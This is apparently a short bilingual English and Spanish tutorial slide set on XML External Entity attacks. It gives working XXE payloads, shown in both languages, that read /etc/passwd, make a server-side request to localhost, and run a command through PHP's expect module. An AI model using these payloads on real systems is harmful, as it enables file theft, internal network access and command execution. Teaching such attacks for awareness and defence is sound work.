English

Slide one

An XML External Entity (XXE) is a type of attack that targets applications that parse XML data but are not correctly configured.
This may lead to "external entities" being called using the XML, this basically allows for resources that are located somewhere outside of the local, current document to be loaded.
This can be exploited to read local files anywhere on the target machine, make requests on behalf of the server (see description for link to SSRF), and in some situations, execute commands on the server.
Some examples of parsers are LibXML, Xerces or MiniDOM.

Slide two

LFI (Local File Inclusion) example payload:
This exploitation method will load the contents of "/etc/passwd" into the parameter called "foo". We can then see the contents of the file if the parameter is reflected on the response, or, we can also view the contents via an error.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Slide three

SSRF (Server Side Request Forgery) example payload:
This exploitation method will load the contents of "http://localhost" into the parameter called "foo". We can then see the contents of the webpage if the parameter is reflected on the response, or, we can also view the contents via an error (this means we can hit internal resources only available to the server).

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://localhost/" >]>
<foo>&xxe;</foo>

Slide four

RCE (Remote Command Execution) example payload (PHP "expect" module must be enabled):
This exploitation method is the most severe of them all, although least common. It does a similar thing to the previous two, and reflects the output of the command executed, or, if output is unavailable, we can exfiltrate command outputs via blind command execution.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]>
<foo>&xxe;</foo>

Spanish

Slide one

Una Entidad XML Externa (XXE) es un vector de ataque que tiene como objetivo aplicaciones web que tratan contenido XML, pero no están configuradas correctamente.
Esto permite hacer llamadas a lo que se conoce como "entidades externas". Estas, permiten acceder a recursos del servidor que están fuera del documento actual.
Es posible aprovechar esto para leer archivos de este, hacer solicitudes a otros recursos desde el servidor (ver enlace en la descripción a SSRF) y en algunas situaciones concretas, ejecutar comandos en el mismo.
Algunos ejemplos de estos lectores XML son LibXML, Xerces o MiniDOM.

Slide two

Ejemplo de LFI (Inclusión local de archivos):
Este ejemplo permitirá cargar el contenido del archivo "/etc/passwd" en el parámetro llamado "foo". Podremos ver el contenido de este parámetro si está reflejado en la respuesta o, podemos ver el contenido haciendo saltar un error.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Slide three

Ejemplo de SSRF (Server Side Request Forgery):
Este método de explotación, permitirá cargar el contenido de "http://localhost" en el parámetro "foo". Podemos ver el contenido de la página siempre que el parámetro sea reflejado en la respuesta, en caso contrario, podemos ver el contenido mediante un error.
Explotando esto, un atacante sería capaz de acceder a cualquier recurso web solo accesible desde el lado del servidor.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://localhost/" >]>
<foo>&xxe;</foo>

Slide four

Ejemplo de RCE (Remote Command Execution):
Para este caso, el servidor objetivo deberá tener instalado el módulo de PHP "expect".
Este es el ataque más peligroso de todos, ya que permite ejecutar comandos remotamente en el servidor, pero también menos común. Hace algo similar a los anteriores, refleja el resultado en un parámetro. En el caso de que no tengamos el parámetro reflejado, no podrémos ver la salida de los estos, pero la ejecución se realizará correctamente.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]>
<foo>&xxe;</foo>
tags: @hacking